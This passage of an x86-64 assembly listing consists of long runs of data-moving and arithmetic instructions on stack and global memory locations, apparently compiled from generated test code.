movzx eax, byte [rax]
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x9218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf2]
and eax, ecx
mov rcx, qword [rsp + 0x9ad0]
mov byte [rcx], al
movsx eax, byte [0x1401e7057]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov byte [rsp + 0x75], al
lea rax, [rsp + 0x9da0]
mov qword [rsp + 0xa248], rax
mov eax, dword [rsp + 0x4f9c]
mov ecx, dword [rsp + 0x4eec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e44], eax
lea rax, [rsp + 0x4fc8]
mov qword [rsp + 0xa250], rax
mov rax, qword [rsp + 0x9960]
mov rcx, qword [rsp + 0x9768]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa1e8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1134]
movsx ecx, word [0x1401e70a4]
sub eax, ecx
mov word [0x1401e70b0], ax
movzx eax, byte [rsp + 0x10b]
mov rcx, qword [rsp + 0x8ef0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb2], al
lea rax, [rsp + 0x102]
mov qword [rsp + 0xa258], rax
movsx eax, word [rsp + 0x1070]
movsx ecx, word [rsp + 0x1178]
add eax, ecx
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
mov word [rsp + 0x1220], ax
mov rax, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0x9b98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x93c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ee0]
mov rax, qword [rax]
mov qword [rsp + 0xa260], rax
mov rax, qword [rsp + 0x8b70]
mov ecx, dword [rsp + 0x4ea8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e6c], eax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4f34]
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
lea rax, [rsp + 0x102c]
mov qword [rsp + 0xa268], rax
lea rax, [0x1401e703e]
mov qword [0x1401e8a38], rax
movsx eax, word [rsp + 0xff0]
movsx ecx, word [rsp + 0x1030]
shl eax, cl
mov word [rsp + 0x1128], ax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x10d], al
movsx eax, word [0x1401e88d8]
movsx ecx, word [rsp + 0x10c0]
xor eax, ecx
mov rcx, qword [rsp + 0x9ff8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9960]
mov qword [rsp + 0xa270], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa270]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9728]
mov qword [rcx], rax
lea rax, [rsp + 0xa160]
mov qword [rsp + 0xa278], rax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9140]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
lea rax, [rsp + 0x4ec0]
mov qword [rsp + 0xa280], rax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xf4]
sub eax, ecx
mov rcx, qword [rsp + 0x9d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7064], ax
movsx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf3], al
movzx eax, word [rsp + 0x1074]
mov word [rsp + 0x1224], ax
mov rax, qword [0x1401e8850]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x107]
sub eax, ecx
mov rcx, qword [rsp + 0xa040]
mov byte [rcx], al
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0xa288], rax
mov rax, qword [rsp + 0x96c0]
mov rcx, qword [rsp + 0x9598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
mov dword [rsp + 0x5030], eax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x9a38]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96f0], rax
mov rax, qword [rsp + 0x96f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1208]
add eax, ecx
mov word [rsp + 0x1064], ax
lea rax, [rsp + 0x1100]
mov qword [0x1401e8a40], rax
mov rax, qword [rsp + 0xa1a0]
movzx eax, word [rax]
mov word [rsp + 0x1228], ax
mov rax, qword [rsp + 0x9288]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd9]
add eax, ecx
mov rcx, qword [rsp + 0x8df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9418]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa118]
mov rcx, qword [rsp + 0x9368]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90b8], rax
mov eax, dword [rsp + 0x4ea4]
mov dword [rsp + 0x5034], eax
mov rax, qword [rsp + 0x9eb8]
mov rcx, qword [rsp + 0x9a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f8c], eax
lea rax, [rsp + 0x1034]
mov qword [rsp + 0xa290], rax
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb1]
xor eax, ecx
mov rcx, qword [0x1401e89d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x116c]
or eax, ecx
mov rcx, qword [rsp + 0x9788]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f48]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e704a]
shl eax, cl
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
lea rax, [rsp + 0x7a]
mov qword [rsp + 0xa298], rax
movzx eax, byte [rsp + 0x10c]
movzx ecx, byte [rsp + 0xde]
sar eax, cl
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ba8]
mov rax, qword [rax]
mov qword [rsp + 0xa2a0], rax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0x9018]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9530]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9940]
mov eax, dword [rax]
mov dword [rsp + 0x5038], eax
lea rax, [0x1401e89a8]
mov qword [0x1401e8a48], rax
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa268]
mov word [rcx], ax
mov rax, qword [rsp + 0x9720]
movzx eax, byte [rax]
mov byte [rsp + 0x10f], al
mov rax, qword [0x1401e87d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1050], ax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0xa2a8], rax
mov rax, qword [rsp + 0xa0b8]
mov rcx, qword [rsp + 0x9308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d40], rax
mov rax, qword [rsp + 0x8f70]
mov rcx, qword [rsp + 0x8f90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d38], rax
lea rax, [rsp + 0x4f10]
mov qword [rsp + 0xa2b0], rax
mov rax, qword [rsp + 0x9e50]
mov ecx, dword [rsp + 0x4e48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x108c]
add eax, ecx
mov rcx, qword [0x1401e8870]
mov word [rcx], ax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0xa2b8], rax
movzx eax, word [rsp + 0x1054]
mov rcx, qword [rsp + 0x98e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0x8eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1168]
sar eax, cl
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
mov rax, qword [rsp + 0x9fc0]
movzx eax, byte [rax]
mov byte [rsp + 0x110], al
mov rax, qword [rsp + 0xa098]
mov ecx, dword [rsp + 0x4fc4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0x9210]
mov rcx, qword [rsp + 0x9cc8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9348], rax
mov rax, qword [rsp + 0x9c38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x93c0]
mov qword [rsp + 0xa2c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa2c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e60], eax
movsx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7090], ax
movzx eax, byte [rsp + 0xc2]
mov byte [rsp + 0x111], al
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0xa1]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x98e0]
movzx eax, word [rax]
mov word [rsp + 0x122c], ax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ed0]
mov rcx, qword [rsp + 0x9f88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x98b8], rax
lea rax, [rsp + 0x8ab0]
mov qword [rsp + 0xa2d0], rax
mov eax, dword [rsp + 0x4ef4]
mov ecx, dword [rsp + 0x5000]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f64]
mov dword [rsp + 0x503c], eax
movsx eax, byte [0x1401e7052]
mov rcx, qword [rsp + 0x9550]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e705b], al
movzx eax, byte [rsp + 0xda]
movzx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov byte [rsp + 0xe7], al
lea rax, [0x1401e7044]
mov qword [rsp + 0xa2d8], rax
mov rax, qword [rsp + 0x9a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e4]
sub eax, ecx
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov word [rcx], ax
lea rax, [rsp + 0x9758]
mov qword [rsp + 0xa2e0], rax
mov rax, qword [rsp + 0xa1e8]
mov rcx, qword [rsp + 0x9098]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa048]
mov qword [rcx], rax
lea rax, [rsp + 0x4fe0]
mov qword [rsp + 0xa2e8], rax
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0x9408]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ffc], eax
lea rax, [rsp + 0x8e]
mov qword [0x1401e8a50], rax
movzx eax, word [rsp + 0x10d4]
movzx ecx, word [rsp + 0x1058]
sar eax, cl
mov word [rsp + 0x10ac], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov byte [rsp + 0x112], al
mov rax, qword [rsp + 0x8e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcb]
shl eax, cl
mov byte [rsp + 0x70], al
movzx eax, word [rsp + 0x10f0]
mov word [rsp + 0x1230], ax
mov rax, qword [rsp + 0x9c38]
mov rcx, qword [rsp + 0x9710]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0x9fb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5038]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e78], eax
lea rax, [rsp + 0xa020]
mov qword [rsp + 0xa2f0], rax
mov rax, qword [rsp + 0x8eb8]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa228]
mov qword [rcx], rax
movzx eax, word [rsp + 0x11e4]
mov rcx, qword [rsp + 0xa1f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7050], ax
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x113], al
movzx eax, byte [rsp + 0x10d]
movzx ecx, byte [rsp + 0x95]
sub eax, ecx
mov byte [rsp + 0xbb], al
lea rax, [rsp + 0xff0]
mov qword [rsp + 0xa2f8], rax
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9448]
mov byte [rcx], al
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0x90f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
lea rax, [rsp + 0x4e90]
mov qword [rsp + 0xa300], rax
mov rax, qword [rsp + 0x97a8]
mov rcx, qword [rsp + 0xa2b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f14], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xa308], rax
movzx eax, byte [rsp + 0x7b]
mov byte [0x1401e87e6], al
mov rax, qword [rsp + 0x92c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9568]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
movsx eax, word [rsp + 0x1124]
mov rcx, qword [0x1401e8a00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1150], ax
lea rax, [rsp + 0x108c]
mov qword [rsp + 0xa310], rax
movzx eax, word [rsp + 0x1208]
movzx ecx, word [rsp + 0x11b4]
sub eax, ecx
mov word [rsp + 0x10b4], ax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [0x1401e8798]
mov qword [rsp + 0xa320], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa320]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0xa280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5024]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov qword [rsp + 0xa328], rax
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
shl eax, cl
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
xor eax, ecx
mov rcx, qword [0x1401e87b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9718]
movzx eax, word [rax]
mov word [rsp + 0x1234], ax
movzx eax, word [rsp + 0x11b4]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b0], ax
lea rax, [rsp + 0x4d84]
mov qword [rsp + 0xa330], rax
mov rax, qword [rsp + 0x9250]
mov rcx, qword [rsp + 0xa1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9180], rax
lea rax, [rsp + 0x9c10]
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0x98c0]
mov ecx, dword [rsp + 0x4ddc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9df0]
movzx eax, byte [rax]
mov byte [rsp + 0x114], al
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [rsp + 0xa1a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e89a8], ax
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11b8]
sub eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x9fa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
add eax, ecx
mov byte [rsp + 0xc6], al
lea rax, [rsp + 0x10c4]
mov qword [rsp + 0xa340], rax
mov eax, dword [rsp + 0x4eec]
mov ecx, dword [rsp + 0x4e48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x98b0]
mov qword [rsp + 0xa348], rax
mov rax, qword [rsp + 0x9c50]
mov ecx, dword [rsp + 0x4e70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f38], eax
mov rax, qword [rsp + 0x8d30]
mov rcx, qword [rsp + 0x9068]
mov qword [rsp + 0xa350], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa350]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9ce0]
mov qword [rcx], rax
lea rax, [rsp + 0x10b4]
mov qword [rsp + 0xa358], rax
lea rax, [rsp + 0xe6]
mov qword [0x1401e8a58], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e87a6]
xor eax, ecx
mov byte [rsp + 0xc7], al
lea rax, [rsp + 0xf3]
mov qword [rsp + 0xa360], rax
mov rax, qword [rsp + 0xa1c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
sar eax, cl
mov word [rsp + 0x118c], ax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x9f50]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ee0]
mov qword [rcx], rax
lea rax, [rsp + 0x9da0]
mov qword [rsp + 0xa368], rax
mov rax, qword [rsp + 0xa138]
mov rcx, qword [rsp + 0x8ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5030], eax
mov eax, dword [rsp + 0x5018]
mov dword [rsp + 0x5040], eax
movzx eax, byte [0x1401e8795]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a28]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e89a8], ax
mov rax, qword [rsp + 0x8ff8]
movzx eax, byte [rax]
mov byte [rsp + 0x115], al
movsx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x90a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1138]
movzx ecx, word [rsp + 0x10d4]
sub eax, ecx
mov rcx, qword [rsp + 0x9f28]
mov word [rcx], ax
mov rax, qword [0x1401e8930]
movzx eax, byte [rax]
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9478]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9438], rax
mov eax, dword [rsp + 0x4f1c]
mov dword [rsp + 0x5044], eax
mov rax, qword [rsp + 0x9af0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fe8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0xa238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fa0], eax
movzx eax, byte [rsp + 0xd9]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e705e], al
mov rax, qword [0x1401e8860]
movzx eax, word [rax]
mov word [rsp + 0x1238], ax
movsx eax, word [rsp + 0x11e0]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa220]
mov word [rcx], ax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0xa370], rax
movsx eax, word [0x1401e70b0]
mov rcx, qword [rsp + 0xa220]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e3c]
shl eax, cl
mov dword [rsp + 0x4ebc], eax
lea rax, [rsp + 0x9fc8]
mov qword [rsp + 0xa378], rax
mov rax, qword [rsp + 0x8fd0]
movzx ecx, al
mov rax, qword [0x1401e7018]
shr rax, cl
mov rcx, qword [rsp + 0xa338]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e48]
mov eax, dword [rax]
mov dword [rsp + 0x5048], eax
lea rax, [rsp + 0xd3]
mov qword [0x1401e8a60], rax
mov rax, qword [rsp + 0x9340]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7025]
or eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x98e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0x9cf8]
movsx eax, word [rax]
movsx ecx, word [0x1401e7060]
sub eax, ecx
mov word [rsp + 0x115c], ax
lea rax, [rsp + 0x9698]
mov qword [rsp + 0xa380], rax
mov rax, qword [rsp + 0xa330]
mov ecx, dword [rsp + 0x4eec]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa300]
mov dword [rcx], eax
lea rax, [rsp + 0xa070]
mov qword [rsp + 0xa388], rax
mov eax, dword [rsp + 0x5014]
mov ecx, dword [rsp + 0x4e24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9678]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0x9568]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e88d0]
mov byte [rcx], al
movsx eax, word [0x1401e7080]
mov rcx, qword [rsp + 0x9ae8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9718]
mov word [rcx], ax
mov rax, qword [rsp + 0x91b8]
movzx eax, word [rax]
mov word [rsp + 0x123c], ax
movzx eax, word [rsp + 0x11b4]
movzx ecx, word [rsp + 0x10d4]
add eax, ecx
mov word [rsp + 0x11ec], ax
movzx eax, byte [0x1401e7025]
mov byte [rsp + 0x118], al
mov rax, qword [rsp + 0x8f08]
mov ecx, dword [rsp + 0x4ea4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa0b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93e8]
mov rcx, qword [rsp + 0x9c80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa378]
mov qword [rcx], rax
lea rax, [0x1401e7004]
mov qword [rsp + 0xa390], rax
mov rax, qword [rsp + 0xa288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ff0], rax
movsx eax, byte [rsp + 0x75]
movsx ecx, byte [0x1401e87e4]
add eax, ecx
mov byte [0x1401e705f], al
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0xa398], rax
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x98a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9828]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9d88]
mov word [rcx], ax
lea rax, [rsp + 0x105]
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0x9f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa288]
mov qword [rsp + 0xa3a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9380]
mov qword [rcx], rax
lea rax, [rsp + 0xa260]
mov qword [rsp + 0xa3b0], rax
mov rax, qword [rsp + 0x93d8]
mov ecx, dword [rsp + 0x4f28]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9580]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4fc8]
mov ecx, dword [rsp + 0x4e00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cb8]
movzx eax, word [rax]
movzx ecx, word [0x1401e7050]
sub eax, ecx
mov word [0x1401e88f0], ax
movzx eax, word [rsp + 0x1180]
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa168]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9448]
mov byte [rcx], al
movzx eax, word [rsp + 0x1018]
mov word [rsp + 0x1244], ax
mov rax, qword [0x1401e88e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1094]
and eax, ecx
mov word [rsp + 0x114c], ax
lea rax, [rsp + 0x9768]
mov qword [rsp + 0xa3b8], rax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x9028]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f04], eax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x97e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ac0], rax
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov dword [rsp + 0x504c], eax
movzx eax, byte [rsp + 0xed]
mov byte [0x1401e87e7], al
mov rax, qword [rsp + 0x9770]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf8]
sub eax, ecx
mov rcx, qword [rsp + 0xa150]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0x119], al
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [rsp + 0x9260]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b60]
mov word [rcx], ax
mov rax, qword [0x1401e8870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov word [rcx], ax
lea rax, [rsp + 0x97e8]
mov qword [rsp + 0xa3c0], rax
mov rax, qword [rsp + 0x9670]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9a40]
shl rax, cl
mov qword [rsp + 0x9798], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xa3c8], rax
mov eax, dword [rsp + 0x4f18]
mov ecx, dword [rsp + 0x4cac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa180]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa128]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x104c]
or eax, ecx
mov word [0x1401e88d8], ax
mov rax, qword [rsp + 0x8e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1190]
sar eax, cl
mov word [rsp + 0x1158], ax
lea rax, [rsp + 0xde]
mov qword [rsp + 0xa3d0], rax
mov rax, qword [rsp + 0x9550]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e87e2]
and eax, ecx
mov rcx, qword [rsp + 0x92c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd3]
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [rsp + 0x9168]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa2a0], rax
mov rax, qword [rsp + 0x8fc8]
mov qword [rsp + 0xa3d8], rax
mov rax, qword [rsp + 0x9b00]
mov ecx, dword [rsp + 0x4fd4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x4e88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9090]
movzx eax, word [rax]
